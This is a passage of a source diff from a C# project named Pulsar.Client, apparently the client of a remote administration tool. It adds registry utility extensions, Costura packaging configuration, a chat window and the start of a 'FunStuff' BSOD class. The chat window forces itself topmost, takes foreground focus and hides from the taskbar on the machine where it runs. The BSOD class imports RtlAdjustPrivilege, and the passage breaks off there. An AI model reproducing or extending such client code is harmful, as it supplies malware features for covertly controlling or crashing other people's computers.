StringBuilder buffer = new StringBuilder((int)nChars);
var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars);
return success ? buffer.ToString() : null;
}
}
}
@@ -0,0 +1,400 @@
using Microsoft.Win32;
using Pulsar.Common.Utilities;
using System;
using System.Collections.Generic;
using System.Linq;
namespace Pulsar.Client.Extensions
{
/// <summary>
/// Provides extensions for registry key and value operations.
/// </summary>
public static class RegistryKeyExtensions
{
/// <summary>
/// Determines if the registry key by the name provided is null or has the value of null.
/// </summary>
/// <param name="keyName">The name associated with the registry key.</param>
/// <param name="key">The actual registry key.</param>
/// <returns>True if the provided name is null or empty, or the key is null; False if otherwise.</returns>
private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
{
return (string.IsNullOrEmpty(keyName) || (key == null));
}
/// <summary>
/// Attempts to get the string value of the key using the specified key name. This method assumes
/// correct input.
/// </summary>
/// <param name="key">The key of which we obtain the value of.</param>
/// <param name="keyName">The name of the key.</param>
/// <param name="defaultValue">The default value if value can not be determined.</param>
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
/// defaultValue will be returned instead.</returns>
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
{
try
{
return key.GetValue(keyName, defaultValue).ToString();
}
catch
{
return defaultValue;
}
}
/// <summary>
/// Attempts to obtain a readonly (non-writable) sub key from the key provided using the
/// specified name. Exceptions thrown will be caught and will only return a null key.
/// This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is obtained from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
/// unable to obtain a sub-key.</returns>
public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name)
{
try
{
return key.OpenSubKey(name, false);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to obtain a writable sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is obtained from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
/// unable to obtain a sub-key.</returns>
public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name)
{
try
{
return key.OpenSubKey(name, true);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to create a sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is to be created from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key that was created for the key and name provided; Returns null if
/// unable to create a sub-key.</returns>
public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
{
try
{
return key.CreateSubKey(name);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to delete a sub-key and its children from the key provided using the specified
/// name.
/// </summary>
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
{
try
{
key.DeleteSubKeyTree(name, true);
return true;
}
catch
{
return false;
}
}
/*
* Derived and Adapted from drdandle's article,
* Copy and Rename Registry Keys at Code project.
* Copy and Rename Registry Keys (Post Date: November 11, 2006)
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This is a work that is not of the original. It
* has been modified to suit the needs of another
* application.
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* First Modified by StingRaptor on January 21, 2016
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Original Source:
* http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys
*/
/// <summary>
/// Attempts to rename a sub-key to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="key">The key of which the subkey is to be renamed from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyKey(oldName, newName);
//Dispose of the old key
key.DeleteSubKeyTree(oldName);
return true;
}
catch
{
//Try to dispose of the newKey (The rename failed)
key.DeleteSubKeyTreeSafe(newName);
return false;
}
}
/// <summary>
/// Attempts to copy a old subkey to a new subkey for the key
/// provided using the specified old name and new name. (throws exceptions)
/// </summary>
/// <param name="key">The key of which the subkey is to be deleted from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
public static void CopyKey(this RegistryKey key, string oldName, string newName)
{
//Create a new key
using (RegistryKey newKey = key.CreateSubKey(newName))
{
//Open old key
using (RegistryKey oldKey = key.OpenSubKey(oldName, true))
{
//Copy from old to new
RecursiveCopyKey(oldKey, newKey);
}
}
}
/// <summary>
/// Attempts to rename a sub-key to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="sourceKey">The source key to copy from.</param>
/// <param name="destKey">The destination key to copy to.</param>
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
{
//Copy all of the registry values
foreach (string valueName in sourceKey.GetValueNames())
{
object valueObj = sourceKey.GetValue(valueName);
RegistryValueKind valueKind = sourceKey.GetValueKind(valueName);
destKey.SetValue(valueName, valueObj, valueKind);
}
//Copy all of the subkeys
foreach (string subKeyName in sourceKey.GetSubKeyNames())
{
using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName))
{
using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName))
{
//Recursive call to copy the sub key data
RecursiveCopyKey(sourceSubkey, destSubKey);
}
}
}
}
/// <summary>
/// Attempts to set a registry value for the key provided using the specified
/// name, data and kind. If the registry value does not exist it will be created
/// </summary>
/// <param name="key">The key of which the value is to be set for.</param>
/// <param name="name">The name of the value.</param>
/// <param name="data">The data of the value</param>
/// <param name="kind">The value kind of the value</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
{
try
{
// handle type conversion
if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[]))
{
switch (kind)
{
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
data = ByteConverter.ToString((byte[])data);
break;
case RegistryValueKind.DWord:
data = ByteConverter.ToUInt32((byte[])data);
break;
case RegistryValueKind.QWord:
data = ByteConverter.ToUInt64((byte[])data);
break;
case RegistryValueKind.MultiString:
data = ByteConverter.ToStringArray((byte[])data);
break;
}
}
key.SetValue(name, data, kind);
return true;
}
catch
{
return false;
}
}
/// <summary>
/// Attempts to delete a registry value for the key provided using the specified
/// name.
/// </summary>
/// <param name="key">The key of which the value is to be delete from.</param>
/// <param name="name">The name of the value.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool DeleteValueSafe(this RegistryKey key, string name)
{
try
{
key.DeleteValue(name);
return true;
}
catch
{
return false;
}
}
/// <summary>
/// Attempts to rename a registry value to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="key">The key of which the registry value is to be renamed from.</param>
/// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyValue(oldName, newName);
//Dispose of the old value
key.DeleteValue(oldName);
return true;
}
catch
{
//Try to dispose of the newKey (The rename failed)
key.DeleteValueSafe(newName);
return false;
}
}
/// <summary>
/// Attempts to copy a old registry value to a new registry value for the key
/// provided using the specified old name and new name. (throws exceptions)
/// </summary>
/// <param name="key">The key of which the registry value is to be copied.</param>
/// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param>
public static void CopyValue(this RegistryKey key, string oldName, string newName)
{
RegistryValueKind valueKind = key.GetValueKind(oldName);
object valueData = key.GetValue(oldName);
key.SetValue(newName, valueData, valueKind);
}
/// <summary>
/// Checks if the specified subkey exists in the key
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the sub-key to find.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool ContainsSubKey(this RegistryKey key, string name)
{
foreach (string subkey in key.GetSubKeyNames())
{
if (subkey == name)
{
return true;
}
}
return false;
}
/// <summary>
/// Checks if the specified registry value exists in the key
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the registry value to find.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool ContainsValue(this RegistryKey key, string name)
{
foreach (string value in key.GetValueNames())
{
if (value == name)
{
return true;
}
}
return false;
}
/// <summary>
/// Gets all of the value names associated with the registry key and returns
/// formatted strings of the filtered values.
/// </summary>
/// <param name="key">The registry key of which the values are obtained.</param>
/// <returns>Yield returns formatted strings of the key and the key value.</returns>
public static IEnumerable<Tuple<string, string>> GetKeyValues(this RegistryKey key)
{
if (key == null) yield break;
foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k)))
{
yield return new Tuple<string, string>(k, key.GetValueSafe(k));
}
}
/// <summary>
/// Gets the default value for a given data type of a registry value.
/// </summary>
/// <param name="valueKind">The data type of the registry value.</param>
/// <returns>The default value for the given <see cref="valueKind"/>.</returns>
public static object GetDefault(this RegistryValueKind valueKind)
{
switch (valueKind)
{
case RegistryValueKind.Binary:
return new byte[] { };
case RegistryValueKind.MultiString:
return new string[] { };
case RegistryValueKind.DWord:
return 0;
case RegistryValueKind.QWord:
return (long)0;
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
return "";
default:
return null;
}
}
}
}
+16
View File
@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="utf-8"?>
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
<Costura IncludeDebugSymbols='false'>
<IncludeAssemblies>
MessagePack
MessagePack.Annotations
Pulsar.Common
System.Memory
System.Runtime.CompilerServices.Unsafe
System.Collections.Immutable
System.Numerics.Vectors
System.Buffers
System.Threading.Tasks.Extensions
</IncludeAssemblies>
</Costura>
</Weavers>
+176
View File
@@ -0,0 +1,176 @@
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
<xs:element name="Weavers">
<xs:complexType>
<xs:all>
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
<xs:complexType>
<xs:all>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX86Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinArm64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
</xs:all>
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCompression" type="xs:boolean">
<xs:annotation>
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCleanup" type="xs:boolean">
<xs:annotation>
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableEventSubscription" type="xs:boolean">
<xs:annotation>
<xs:documentation>The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UnmanagedWinX86Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UnmanagedWinX64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UnmanagedWinArm64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:all>
<xs:attribute name="VerifyAssembly" type="xs:boolean">
<xs:annotation>
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
<xs:annotation>
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="GenerateXsd" type="xs:boolean">
<xs:annotation>
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:schema>
+96
View File
@@ -0,0 +1,96 @@
namespace Pulsar.Client
{
partial class FrmRemoteChat
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.txtMessage = new System.Windows.Forms.TextBox();
this.Sendpacket = new System.Windows.Forms.Button();
this.txtMessages = new System.Windows.Forms.RichTextBox();
this.SuspendLayout();
//
// txtMessage
//
this.txtMessage.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.txtMessage.Location = new System.Drawing.Point(12, 357);
this.txtMessage.Name = "txtMessage";
this.txtMessage.Size = new System.Drawing.Size(349, 20);
this.txtMessage.TabIndex = 0;
this.txtMessage.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtMessage_KeyDown);
//
// Sendpacket
//
this.Sendpacket.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.Sendpacket.Location = new System.Drawing.Point(367, 354);
this.Sendpacket.Name = "Sendpacket";
this.Sendpacket.Size = new System.Drawing.Size(75, 23);
this.Sendpacket.TabIndex = 1;
this.Sendpacket.Text = "Send";
this.Sendpacket.UseVisualStyleBackColor = true;
this.Sendpacket.Click += new System.EventHandler(this.Sendpacket_Click);
//
// txtMessages
//
this.txtMessages.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.txtMessages.Location = new System.Drawing.Point(12, 12);
this.txtMessages.Name = "txtMessages";
this.txtMessages.ReadOnly = true;
this.txtMessages.Size = new System.Drawing.Size(430, 339);
this.txtMessages.TabIndex = 2;
this.txtMessages.Text = "";
//
// FrmRemoteChat
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(454, 389);
this.Controls.Add(this.txtMessages);
this.Controls.Add(this.Sendpacket);
this.Controls.Add(this.txtMessage);
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRemoteChat";
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.Text = "FrmRemoteChat";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FrmRemoteChat_FormClosed);
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteChat_FormClosing);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
public System.Windows.Forms.TextBox txtMessage;
private System.Windows.Forms.Button Sendpacket;
public System.Windows.Forms.RichTextBox txtMessages;
}
}
+162
View File
@@ -0,0 +1,162 @@
using Pulsar.Client.Utilities.DarkMode;
using Pulsar.Common.Messages.UserSupport.RemoteChat;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client
{
public partial class FrmRemoteChat : Form
{
[DllImport("user32.dll")]
public static extern uint GetWindowThreadProcessId(IntPtr hWnd, IntPtr lpdwProcessId);
[DllImport("user32.dll")]
static extern bool SetForegroundWindow(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool BringWindowToTop(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);
[DllImport("Kernel32.dll")]
public static extern uint GetCurrentThreadId();
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
private ISender _connectedClient;
public bool Active;
private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);
private const uint SWP_NOMOVE = 0x0002;
private const uint SWP_NOSIZE = 0x0001;
private const uint SWP_SHOWWINDOW = 0x0040;
public FrmRemoteChat(ISender client)
{
this._connectedClient = client;
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
Active = true;
txtMessage.KeyDown += new KeyEventHandler(txtMessage_KeyDown); // Subscribe to the KeyDown event
}
protected override CreateParams CreateParams
{
get
{
var cp = base.CreateParams;
cp.ExStyle |= 0x80;
return cp;
}
}
public void AddMessage(string sender, string message)
{
txtMessages.AppendText(string.Format("{0} {1}: {2}{3}", DateTime.Now.ToString("HH:mm:ss"), sender, message, Environment.NewLine));
ForceFocus();
}
private void FrmRemoteChat_FormClosing(object sender, FormClosingEventArgs e)
{
// Allow the form to close
}
public void ForceFocus()
{
var fThread = GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero);
var cThread = GetCurrentThreadId();
if (fThread != cThread)
{
AttachThreadInput(fThread, cThread, true);
BringWindowToTop(Handle);
AttachThreadInput(fThread, cThread, false);
}
else BringWindowToTop(Handle);
txtMessage.Focus();
}
private void FrmRemoteChat_Shown(object sender, EventArgs e)
{
txtMessage.Focus();
}
public string sendlol()
{
return txtMessage.Text.Trim();
}
public void SendMessageServer(ISender connectedClient, string message)
{
connectedClient.Send(new GetChat { Message = message });
}
private void txtMessage_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
{
e.SuppressKeyPress = true; // Prevents the ding sound on pressing enter
Sendpacket_Click(this, new EventArgs()); // Call the Send method
}
}
private void Sendpacket_Click(object sender, EventArgs e)
{
try
{
if (txtMessage.Text.Trim() != "")
{
SendMessageServer(_connectedClient, txtMessage.Text.Trim());
AddMessage("Me", txtMessage.Text.Trim());
txtMessage.Text = "";
txtMessage.Focus();
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
private void FrmRemoteChat_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
AddMessage("System", "Chat has been ended.");
SendMessageServer(_connectedClient, "Chat has been ended.");
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
protected override void OnShown(EventArgs e)
{
base.OnShown(e);
SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
const int WM_ACTIVATE = 0x0006;
const int WM_SHOWWINDOW = 0x0018;
if (m.Msg == WM_ACTIVATE || m.Msg == WM_SHOWWINDOW)
{
SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
}
}
}
}
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
Binary file not shown.
+25
View File
@@ -0,0 +1,25 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.FunStuff
{
public class BSOD
{
[DllImport("ntdll.dll")]
private static extern uint RtlAdjustPrivilege(int Privilege, bool Enable, bool CurrentThread, out bool Enabled);
[DllImport("ntdll.dll")]
